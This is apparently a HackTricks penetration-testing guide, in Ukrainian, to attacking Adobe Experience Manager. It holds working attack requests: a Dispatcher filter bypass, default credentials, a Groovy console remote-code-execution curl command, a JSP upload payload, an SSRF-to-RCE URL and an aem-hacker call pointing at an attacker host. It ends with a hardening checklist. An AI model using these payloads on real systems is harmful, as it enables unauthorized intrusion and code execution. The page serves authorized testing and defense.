AEM (Adobe Experience Manager) Pentesting

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Adobe Experience Manager (AEM, частина Adobe Experience Cloud) є корпоративною CMS, яка працює на базі Apache Sling/Felix (OSGi) та Java Content Repository (JCR). З точки зору атакуючого, екземпляри AEM дуже часто відкривають небезпечні кінцеві точки розробки, слабкі правила Dispatcher, стандартні облікові дані та довгий список CVE, які виправляються щоквартально.

Список перевірки нижче зосереджується на зовнішньо доступній (без аутентифікації) атакуючій поверхні, яка постійно з'являється в реальних випадках (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Інші швидкі індикатори:

  • /etc.clientlibs/ статичний шлях присутній (повертає JS/CSS).
  • /libs/granite/core/content/login.html сторінка входу з банером “Adobe Experience Manager”.
  • </script><!--/* CQ */--> коментар внизу HTML.

2. Високоякісні неавтентифіковані кінцеві точки

ШляхЩо ви отримуєтеПримітки
/.json, /.1.jsonJCR вузли через DefaultGetServletЧасто заблоковано, але Dispatcher bypass (див. нижче) працює.
/bin/querybuilder.json?path=/QueryBuilder APIВитік дерева сторінок, внутрішні шляхи, імена користувачів.
/system/console/status-*, /system/console/bundlesOSGi/Felix консоль403 за замовчуванням; якщо відкрито та знайдено облікові дані ⇒ завантаження пакета RCE.
/crx/packmgr/index.jspМенеджер пакетівДозволяє автентифіковані пакети контенту → завантаження JSP корисного навантаження.
/etc/groovyconsole/**AEM Groovy ConsoleЯкщо відкрито → довільне виконання Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonЖурнали аудитуРозкриття інформації.
/libs/cq/ui/content/dumplibs.htmlВивантаження ClientLibsВектор XSS.

Трюк обходу Dispatcher

Більшість виробничих сайтів знаходяться за Dispatcher (реверс-проксі). Його правила фільтрації можна обійти, додавши дозволене статичне розширення після крапки з комою або закодованого нового рядка:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Один запит, як зазначено вище, часто розкриває вузли профілю користувача з адресами електронної пошти. P-T Partners опублікували хороші рекомендації щодо цієї вразливості. 【】


3. Загальні неправильні налаштування (все ще актуальні у 2025 році)

  1. Анонімний POST сервлетPOST /.json з :operation=import дозволяє вам створювати нові вузли JCR. Блокування *.json POST у Dispatcher вирішує цю проблему. 【】
  2. Профілі користувачів, доступні для всіх – за замовчуванням ACL надає jcr:read на /home/users/**/profile/* всім.
  3. Стандартні облікові даніadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter увімкнено ⇒ відображений XSS через ?debug=layout (CVE-2016-7882, все ще виявляється на застарілих установках 6.4).
  5. Відкритий Groovy Console – віддалене виконання коду шляхом надсилання Groovy скрипту:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Останні вразливості (каденція сервіс-паків)

КварталCVEПідлягаєВплив
Грудень 2024CVE-2024-437116.5.21 та ранішеНеправильна валідація введення → Випадкове виконання коду (вимагає авторизації з низькими привілеями). 【】
Грудень 2024CVE-2024-43724/266.5.21 та ранішеDOM / Збережений XSS у Move Page Wizard. 【】
Грудень 2023CVE-2023-48452/68≤ 6.5.18XSS на основі DOM через спеціально підготовлене URL. 【】
Грудень 2022CVE-2022-30683≤ 6.5.13Дизайнерська помилка криптографії → розшифрування секрету (потребує облікових даних з низькими привілеями). 【】

Завжди перевіряйте бюлетень APSB, що відповідає сервіс-паку клієнта, і запитуйте останній 6.5.22 або Cloud Service 2024.11.


5. Фрагменти експлуатації

5.1 RCE через обхід диспетчера + завантаження JSP

Якщо анонімний запис можливий:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Тепер запитайте /content/evil.jsp – JSP виконується з користувачем процесу AEM.

5.2 SSRF до RCE (історичний < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py з aem-hacker автоматизує весь ланцюг. 【】


6. Інструменти

  • aem-hacker – скрипт для енумерації, підтримує обхід диспетчера, виявлення SSRF, перевірки стандартних облікових записів та інше.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Content Brute-force – рекурсивно запитувати /_jcr_content.(json|html), щоб виявити приховані компоненти.
  • osgi-infect – завантажити шкідливий OSGi пакет через /system/console/bundles, якщо доступні облікові дані.

7. Контрольний список посилення безпеки (для рекомендацій у вашому звіті)

  1. Тримайте інстанцію на останній кумулятивній службі (на липень 2025: 6.5.22).
  2. Видаліть/змініть стандартні облікові записи; впровадьте SSO/SAML.
  3. Посиліть фільтри диспетчера – забороніть ;, закодовані нові рядки та *.json або *.querybuilder.json для анонімних користувачів.
  4. Вимкніть або захистіть консолі (/system/console, /crx/*, /etc/groovyconsole) за допомогою списків дозволених IP.
  5. Застосуйте пакет Anonymous Permission Hardening, надісланий Adobe.

Посилання

  • Adobe Security Bulletin APSB24-69 – “Оновлення безпеки для Adobe Experience Manager (грудень 2024)”.
  • 0ang3el – інструмент aem-hacker (GitHub).

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks